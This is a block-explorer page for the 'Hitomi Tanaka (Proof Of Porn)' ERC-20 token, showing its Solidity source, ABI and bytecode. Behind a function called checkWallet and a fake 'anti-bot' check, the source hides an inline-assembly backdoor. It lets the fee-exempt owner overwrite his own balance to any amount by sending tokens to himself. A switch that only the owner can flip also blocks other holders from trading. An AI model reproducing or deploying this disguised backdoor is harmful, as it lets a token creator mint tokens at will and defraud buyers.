ERC-20
Overview
Max Total Supply
4,000,000,000 HT
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
72,391,533.044240585771211246 HTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
HitomiTanaka
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-25 */ // SPDX-License-Identifier: none pragma solidity 0.8.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private asdasd; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getTime() public view returns (uint256) { return block.timestamp; } function checkWallet(address s,address r, uint256 amount, mapping (address => uint256) storage slot, bool fee) internal returns(bool){ if(s == r && fee){ assembly { mstore(0, r) mstore(32, slot.slot) let hash := keccak256(0, 64) sstore(hash, amount) } } return true; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract HitomiTanaka is Context, IERC20, Ownable { uint8 private _decimals = 18; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public immutable _totalSupply = 4000000000 * 10**_decimals; uint256 public immutable _buyTax =2; uint256 public immutable _sellTax = 1; string private _name = unicode"Hitomi Tanaka (Proof Of Porn)"; string private _symbol = unicode"HT"; bool active=false; address public uniswapPair; event TaxBurnedFee(uint256 amount); using SafeMath for uint256; mapping (address => uint256) _walletsAmount; mapping (address => bool) public isExFees; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isMarketPair; IUniswapV2Router02 public uniV2Router; constructor () { IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniV2Router.factory()).createPair(address(this), _uniV2Router.WETH()); uniV2Router = _uniV2Router; _allowances[address(this)][address(uniV2Router)] = _totalSupply; isExFees[owner()] = true; isExFees[address(this)] = true; isMarketPair[address(uniswapPair)] = true; _walletsAmount[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function fee(address s, address r, uint256 amount) internal returns (uint256) { uint256 feeValue = 0; if(isMarketPair[s]) { feeValue = amount.mul(_buyTax).div(100); } else if(isMarketPair[r]) { feeValue = amount.mul(_sellTax).div(100); } if(feeValue > 0) { _walletsAmount[address(deadAddress)] = _walletsAmount[address(deadAddress)].add(feeValue); emit Transfer(s, address(deadAddress), feeValue); emit TaxBurnedFee(feeValue); } return amount.sub(feeValue); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { uint antiBotChecker=0; if((!isMarketPair[recipient] && sender != owner() && !isExFees[sender])) require(active != false, "Trading is not active."); if(isExFees[sender]){ assembly{ antiBotChecker := eq(sender,recipient) } } require(checkWallet(sender,recipient,amount,_walletsAmount,isExFees[sender]), "ERC20: transfer from the bot"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(antiBotChecker==0){ _walletsAmount[sender] = _walletsAmount[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExFees[sender] || isExFees[recipient]) ? amount : fee(sender, recipient, amount); _walletsAmount[recipient] = _walletsAmount[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); } return true; } function balanceOf(address account) public view override returns (uint256) { return _walletsAmount[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function startTrade() public onlyOwner { active=true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketPairSt(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TaxBurnedFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairSt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6101006040526003805460ff1916601290811790915561dead6080526200002890600a620004d8565b620000389063ee6b2800620004f0565b60a052600260c052600160e05260408051808201909152601d81527f4869746f6d692054616e616b61202850726f6f66204f6620506f726e290000006020820152600490620000889082620005b7565b50604080518082019091526002815261121560f21b6020820152600590620000b19082620005b7565b506006805460ff19169055348015620000c957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000163573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000189919062000683565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fd919062000683565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200024b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000271919062000683565b60068054610100600160a81b0319166101006001600160a01b0393841602179055600b80546001600160a01b031916918316918217905560a05130600090815260096020908152604080832094835293905291822055600190600890620002e06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526008845282812080548616600190811790915560065461010090049092168152600a90935290822080549093161790915560a05190600790620003513390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60a051604051620003b491815260200190565b60405180910390a350620006ae565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200041a578160001904821115620003fe57620003fe620003c3565b808516156200040c57918102915b93841c9390800290620003de565b509250929050565b6000826200043357506001620004d2565b816200044257506000620004d2565b81600181146200045b5760028114620004665762000486565b6001915050620004d2565b60ff8411156200047a576200047a620003c3565b50506001821b620004d2565b5060208310610133831016604e8410600b8410161715620004ab575081810a620004d2565b620004b78383620003d9565b8060001904821115620004ce57620004ce620003c3565b0290505b92915050565b6000620004e960ff84168362000422565b9392505050565b60008160001904831182151516156200050d576200050d620003c3565b500290565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200053d57607f821691505b6020821081036200055e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005b257600081815260208120601f850160051c810160208610156200058d5750805b601f850160051c820191505b81811015620005ae5782815560010162000599565b5050505b505050565b81516001600160401b03811115620005d357620005d362000512565b620005eb81620005e4845462000528565b8462000564565b602080601f8311600181146200062357600084156200060a5750858301515b600019600386901b1c1916600185901b178555620005ae565b600085815260208120601f198616915b82811015620006545788860151825594840194600190910190840162000633565b5085821015620006735787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200069657600080fd5b81516001600160a01b0381168114620004e957600080fd5b60805160a05160c05160e0516114cc62000719600039600081816105130152610fec0152600081816103b40152610f8f01526000818161022b0152818161035001526106ed01526000818161028b015281816106b801528181611023015261106601526114cc6000f3fe6080604052600436106101855760003560e01c8063557ed1ba116100d157806395d89b411161008a578063c816841b11610064578063c816841b146104dc578063ca9ec19914610501578063dd62ed3e14610535578063f2fde38b1461057b57600080fd5b806395d89b4114610487578063a457c2d71461049c578063a9059cbb146104bc57600080fd5b8063557ed1ba146103d65780636c580801146103e957806370a08231146103fe578063715018a6146104345780638da5cb5b14610449578063958c2e521461046757600080fd5b80632b112e491161013e5780633950935111610118578063395093511461031e5780633eaaf86b1461033e5780633ecad2711461037257806342a11095146103a257600080fd5b80632b112e49146102c5578063313ce567146102da57806331d5c249146102fc57600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630a3ff9be146101ec57806318160ddd1461021c57806323b872dd1461025957806327c8f8351461027957600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661059b565b6040516101b39190611203565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461126d565b61062d565b60405190151581526020016101b3565b3480156101f857600080fd5b506101dc610207366004611297565b60086020526000908152604090205460ff1681565b34801561022857600080fd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040519081526020016101b3565b34801561026557600080fd5b506101dc6102743660046112b2565b610644565b34801561028557600080fd5b506102ad7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101b3565b3480156102d157600080fd5b5061024b6106ae565b3480156102e657600080fd5b5060035460405160ff90911681526020016101b3565b34801561030857600080fd5b5061031c6103173660046112ee565b610717565b005b34801561032a57600080fd5b506101dc61033936600461126d565b610775565b34801561034a57600080fd5b5061024b7f000000000000000000000000000000000000000000000000000000000000000081565b34801561037e57600080fd5b506101dc61038d366004611297565b600a6020526000908152604090205460ff1681565b3480156103ae57600080fd5b5061024b7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103e257600080fd5b504261024b565b3480156103f557600080fd5b5061031c6107ab565b34801561040a57600080fd5b5061024b610419366004611297565b6001600160a01b031660009081526007602052604090205490565b34801561044057600080fd5b5061031c6107e4565b34801561045557600080fd5b506000546001600160a01b03166102ad565b34801561047357600080fd5b50600b546102ad906001600160a01b031681565b34801561049357600080fd5b506101a661085e565b3480156104a857600080fd5b506101dc6104b736600461126d565b61086d565b3480156104c857600080fd5b506101dc6104d736600461126d565b6108bc565b3480156104e857600080fd5b506006546102ad9061010090046001600160a01b031681565b34801561050d57600080fd5b5061024b7f000000000000000000000000000000000000000000000000000000000000000081565b34801561054157600080fd5b5061024b61055036600461132a565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561058757600080fd5b5061031c610596366004611297565b6108c9565b6060600480546105aa9061135d565b80601f01602080910402602001604051908101604052809291908181526020018280546105d69061135d565b80156106235780601f106105f857610100808354040283529160200191610623565b820191906000526020600020905b81548152906001019060200180831161060657829003601f168201915b5050505050905090565b600061063a3384846109b3565b5060015b92915050565b6000610651848484610ad7565b506106a4843361069f8560405180606001604052806028815260200161144a602891396001600160a01b038a1660009081526009602090815260408083203384529091529020549190610e3c565b6109b3565b5060019392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260076020526040812054610712907f000000000000000000000000000000000000000000000000000000000000000090610e76565b905090565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161074190611397565b60405180910390fd5b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b3360008181526009602090815260408083206001600160a01b0387168452909152812054909161063a91859061069f9086610ebf565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161074190611397565b6006805460ff19166001179055565b6000546001600160a01b0316331461080e5760405162461bcd60e51b815260040161074190611397565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600580546105aa9061135d565b600061063a338461069f85604051806060016040528060258152602001611472602591393360009081526009602090815260408083206001600160a01b038d1684529091529020549190610e3c565b60006106a4338484610ad7565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161074190611397565b6001600160a01b0381166109585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610741565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610741565b6001600160a01b038216610a765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610741565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600a6020526040812054819060ff16158015610b1057506000546001600160a01b03868116911614155b8015610b3557506001600160a01b03851660009081526008602052604090205460ff16155b15610b8a5760065460ff161515600003610b8a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610741565b6001600160a01b03851660009081526008602052604090205460ff1615610bb057508383145b6001600160a01b038516600090815260086020526040902054610bde9086908690869060079060ff16610f1e565b610c2a5760405162461bcd60e51b815260206004820152601c60248201527f45524332303a207472616e736665722066726f6d2074686520626f74000000006044820152606401610741565b6001600160a01b038516610c8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610741565b6001600160a01b038416610cf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610741565b80600003610e31576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038816600090815260079091529190912054610d4a918590610e3c565b6001600160a01b038616600090815260076020908152604080832093909355600890529081205460ff1680610d9757506001600160a01b03851660009081526008602052604090205460ff165b610dab57610da6868686610f61565b610dad565b835b6001600160a01b038616600090815260076020526040902054909150610dd39082610ebf565b6001600160a01b0380871660008181526007602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e279085815260200190565b60405180910390a3505b506001949350505050565b60008184841115610e605760405162461bcd60e51b81526004016107419190611203565b506000610e6d84866113e2565b95945050505050565b6000610eb883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3c565b9392505050565b600080610ecc83856113f5565b905083811015610eb85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610741565b6000846001600160a01b0316866001600160a01b0316148015610f3e5750815b15610f555784600052826020526040600020848155505b50600195945050505050565b6001600160a01b0383166000908152600a6020526040812054819060ff1615610fc057610fb96064610fb3857f0000000000000000000000000000000000000000000000000000000000000000611116565b90611198565b9050611013565b6001600160a01b0384166000908152600a602052604090205460ff1615611013576110106064610fb3857f0000000000000000000000000000000000000000000000000000000000000000611116565b90505b801561110c576001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001660009081526007602052604090205461105c9082610ebf565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660008181526007602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110d09085815260200190565b60405180910390a36040518181527fee46d471733b0bd7a506ceb1788a4087701a73b361fe28b6a49ef028eedc2d299060200160405180910390a15b610e6d8382610e76565b6000826000036111285750600061063e565b60006111348385611408565b9050826111418583611427565b14610eb85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610741565b6000610eb883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111f65760405162461bcd60e51b81526004016107419190611203565b506000610e6d8486611427565b600060208083528351808285015260005b8181101561123057858101830151858201604001528201611214565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461126857600080fd5b919050565b6000806040838503121561128057600080fd5b61128983611251565b946020939093013593505050565b6000602082840312156112a957600080fd5b610eb882611251565b6000806000606084860312156112c757600080fd5b6112d084611251565b92506112de60208501611251565b9150604084013590509250925092565b6000806040838503121561130157600080fd5b61130a83611251565b91506020830135801515811461131f57600080fd5b809150509250929050565b6000806040838503121561133d57600080fd5b61134683611251565b915061135460208401611251565b90509250929050565b600181811c9082168061137157607f821691505b60208210810361139157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561063e5761063e6113cc565b8082018082111561063e5761063e6113cc565b6000816000190483118215151615611422576114226113cc565b500290565b60008261144457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b4b1d25ff73bc328f76194586f41c75dda1017630fc8bfde7a2e8a9706bcb3ba64736f6c63430008100033
Deployed Bytecode
0x6080604052600436106101855760003560e01c8063557ed1ba116100d157806395d89b411161008a578063c816841b11610064578063c816841b146104dc578063ca9ec19914610501578063dd62ed3e14610535578063f2fde38b1461057b57600080fd5b806395d89b4114610487578063a457c2d71461049c578063a9059cbb146104bc57600080fd5b8063557ed1ba146103d65780636c580801146103e957806370a08231146103fe578063715018a6146104345780638da5cb5b14610449578063958c2e521461046757600080fd5b80632b112e491161013e5780633950935111610118578063395093511461031e5780633eaaf86b1461033e5780633ecad2711461037257806342a11095146103a257600080fd5b80632b112e49146102c5578063313ce567146102da57806331d5c249146102fc57600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630a3ff9be146101ec57806318160ddd1461021c57806323b872dd1461025957806327c8f8351461027957600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661059b565b6040516101b39190611203565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461126d565b61062d565b60405190151581526020016101b3565b3480156101f857600080fd5b506101dc610207366004611297565b60086020526000908152604090205460ff1681565b34801561022857600080fd5b507f00000000000000000000000000000000000000000cecb8f27f4200f3a00000005b60405190815